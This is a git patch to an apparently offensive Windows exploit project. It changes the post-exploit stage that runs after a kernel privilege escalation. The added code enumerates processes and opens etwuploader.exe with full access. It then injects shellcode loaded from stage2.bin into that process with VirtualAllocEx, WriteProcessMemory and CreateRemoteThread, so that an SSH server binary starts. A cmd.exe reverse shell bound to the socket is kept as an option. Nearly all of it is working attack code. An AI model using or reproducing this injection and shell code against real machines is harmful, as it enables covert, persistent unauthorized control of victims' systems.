From 992d921ccb12649061a890a0f901458825e702e9 Mon Sep 17 00:00:00 2001 From: Lander Brandt Date: Sun, 8 Sep 2024 13:22:36 -0700 Subject: [PATCH] Change post-exploit behavior to hijack a system service for SSH server (#9) * Update post-exploit to inject SSH server into etwuploader.exe * Add preprocessor macro to retain simple reverse shell * fix typo * fix build --- collat_payload/collat_payload.c | 2 +- collat_payload/ioring.h | 2 +- collat_payload/post_exploit.c | 196 +++++++++++++++++++++++++++++++- 3 files changed, 192 insertions(+), 8 deletions(-) diff --git a/collat_payload/collat_payload.c b/collat_payload/collat_payload.c index 8c79c6e..cd22780 100644 --- a/collat_payload/collat_payload.c +++ b/collat_payload/collat_payload.c @@ -508,7 +508,7 @@ int main(int argc, char** argv) do_write(ioring_addr + 0x9D); // Get kernel RW & elevate our process, then fix up SeMediumDaclSd - ioring_lpe2(GetCurrentProcessId(), 0x65007500, 0x1000, ioring_addr, g_kernel_base, build_rev); + ioring_lpe2(GetCurrentProcessId(), 0x65007500, 0x1000, ioring_addr, g_kernel_base); cur_msg = "Exploit succeeded! Running payload!\n\n"; send(winSock, cur_msg, strlen(cur_msg), 0); diff --git a/collat_payload/ioring.h b/collat_payload/ioring.h index e754f71..e2563eb 100644 --- a/collat_payload/ioring.h +++ b/collat_payload/ioring.h @@ -78,7 +78,7 @@ typedef struct _HIORING int ioring_setup(PIORING_OBJECT* ppIoRingAddr); void kwrite(UINT64 addr, PVOID data, SIZE_T size); -int ioring_lpe2(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt, UINT64 ioring_addr); +int ioring_lpe2(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt, UINT64 ioring_addr, UINT64 nt_base); int map_region(); int race_succeeded(ULONG ulFakeRegBufferCnt, UINT64 ioring_addr); diff --git a/collat_payload/post_exploit.c b/collat_payload/post_exploit.c index 8f509ab..efde069 100644 --- a/collat_payload/post_exploit.c +++ b/collat_payload/post_exploit.c @@ -1,14 +1,20 @@ #include "post_exploit.h" #include +#include +#include -// Put your own code in here! -// Provided is a simple reverse shell example -void post_exploit(SOCKET sock) -{ +#define POST_EXPLOIT_REVERSE_SHELL 0 + +typedef struct { + const char* image_name; + const char* image_args; +} SHELLCODE_ARGS; + +void post_exploit_simple_reverse_shell(SOCKET sock) { // Spawn CMD using the socket for input and output - STARTUPINFO sinfo; - PROCESS_INFORMATION pinfo; + STARTUPINFO sinfo; + PROCESS_INFORMATION pinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); @@ -18,6 +24,184 @@ void post_exploit(SOCKET sock) sinfo.hStdOutput = (HANDLE)sock; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, "S:\\", &sinfo, &pinfo); +} + +void post_exploit_spawn_ssh_server(SOCKET sock) { + CHAR* cur_msg[0x200] = { 0 }; + + // We leave this commented for easy debugging + + //// Spawn CMD using the sock for input and output + //STARTUPINFO sinfo; + //PROCESS_INFORMATION pinfo; + + //memset(&sinfo, 0, sizeof(sinfo)); + //memset(&pinfo, 0, sizeof(pinfo)); + + //sinfo.cb = sizeof(sinfo); + //sinfo.dwFlags = STARTF_USESTDHANDLES; + //sinfo.hStdError = (HANDLE)sock; + //sinfo.hStdInput = (HANDLE)sock; + //sinfo.hStdOutput = (HANDLE)sock; + + //sprintf(cur_msg, "Creating conhost process\n"); + //send(sock, cur_msg, strlen(cur_msg), 0); + + //CreateProcessA(NULL, "conhost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP, NULL, NULL, &sinfo, &pinfo); + + //HANDLE target_process = pinfo.hProcess; + //DWORD target_pid = pinfo.dwProcessId; + + // TO REMOVE ETWUPLOADER INJECTION, COMMENT FROM HERE TO NEXT MARKER + + HANDLE target_process = INVALID_HANDLE_VALUE; + DWORD target_pid = -1; + + DWORD aProcesses[1024], cbNeeded, cProcesses; + unsigned int i; + + sprintf(cur_msg, "Enumerating processes\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + + if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) + { + sprintf(cur_msg, "EnumProcessesFailed\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + return 1; + } + + + // Calculate how many process identifiers were returned. + + cProcesses = cbNeeded / sizeof(DWORD); + + // Print the name and process identifier for each process. + + for (i = 0; i < cProcesses; i++) + { + DWORD pid = aProcesses[i]; + if (pid != 0) + { + CHAR szProcessName[MAX_PATH] = ""; + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, + FALSE, pid); + + if (NULL != hProcess) + { + HMODULE hMod; + DWORD cbNeeded; + + if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), + &cbNeeded)) + { + GetModuleBaseNameA(hProcess, hMod, szProcessName, + sizeof(szProcessName) / sizeof(CHAR)); + } + + sprintf(cur_msg, "Process: %s\n", szProcessName); + send(sock, cur_msg, strlen(cur_msg), 0); + + if (strcmp(szProcessName, "etwuploader.exe") == 0) { + sprintf(cur_msg, "Found etwuploader.exe\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + + target_process = hProcess; + target_pid = pid; + + break; + } + + CloseHandle(hProcess); + } + } + } + + // MARKER + + sprintf(cur_msg, "Injecting SSH server into PID: %d\n", target_pid); + send(sock, cur_msg, strlen(cur_msg), 0); + + CHAR stage2_path[0x200] = { 0 }; + ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\stage2.bin", stage2_path, sizeof(stage2_path)); + + sprintf(cur_msg, "Loading stage2 from: %s\n", stage2_path); + send(sock, cur_msg, strlen(cur_msg), 0); + + HANDLE filehandle = CreateFileA(stage2_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0); + if (filehandle == INVALID_HANDLE_VALUE) { + sprintf(cur_msg, "Failed to load stage2\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + exit(0); + return; + } + + DWORD file_size = GetFileSize(filehandle, NULL); + + sprintf(cur_msg, "Allocating memory for the shellcode in the remote process\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + + LPVOID shellcode_addr = VirtualAllocEx(target_process, 0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + HANDLE h_heap = GetProcessHeap(); + BYTE* shellcode_data = HeapAlloc(h_heap, 0, file_size); + + DWORD remaining = file_size; + DWORD bytes_read = 0; + + while (remaining > 0) { + ReadFile(filehandle, shellcode_data + (file_size - remaining), remaining, &bytes_read, NULL); + remaining -= bytes_read; + } + + CloseHandle(filehandle); + + sprintf(cur_msg, "Writing shellcode\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + WriteProcessMemory(target_process, shellcode_addr, shellcode_data, file_size, NULL); + + sprintf(cur_msg, "VirtualProtecting shellcode\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + DWORD old_protection = 0; + VirtualProtectEx(target_process, shellcode_addr, file_size, PAGE_EXECUTE_READ, &old_protection); + + + sprintf(cur_msg, "Creating remote thread\n"); + send(sock, cur_msg, strlen(cur_msg), 0); + + char srv_name[0x200] = { 0 }; + ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\srv.exe", srv_name, sizeof(srv_name)); + sprintf(cur_msg, "New process to be started: %s\n", srv_name); + send(sock, cur_msg, strlen(cur_msg), 0); + + LPVOID image_name = VirtualAllocEx(target_process, 0, sizeof(srv_name), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + WriteProcessMemory(target_process, image_name, srv_name, sizeof(srv_name), NULL); + + SHELLCODE_ARGS args = { + image_name, + NULL, + }; + + LPVOID args_addr = VirtualAllocEx(target_process, 0, sizeof(args), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + sprintf(cur_msg, "Args will be allocated at: %p\n", args_addr); + send(sock, cur_msg, strlen(cur_msg), 0); + + WriteProcessMemory(target_process, args_addr, &args, sizeof(args), NULL); + + HANDLE thread_handle = CreateRemoteThread(target_process, NULL, 0, shellcode_addr, args_addr, 0, NULL); + //ResumeThread(thread_handle); + sprintf(cur_msg, "Remote thread HANDLE: %p\n", thread_handle); + send(sock, cur_msg, strlen(cur_msg), 0); +} + +// Put your own code in here! +// Provided is a simple reverse shell example +void post_exploit(SOCKET sock) +{ +#if POST_EXPLOIT_REVERSE_SHELL + post_exploit_simple_reverse_shell(sock); +#else + post_exploit_spawn_ssh_server(sock); +#endif // Loop forever while (1) {}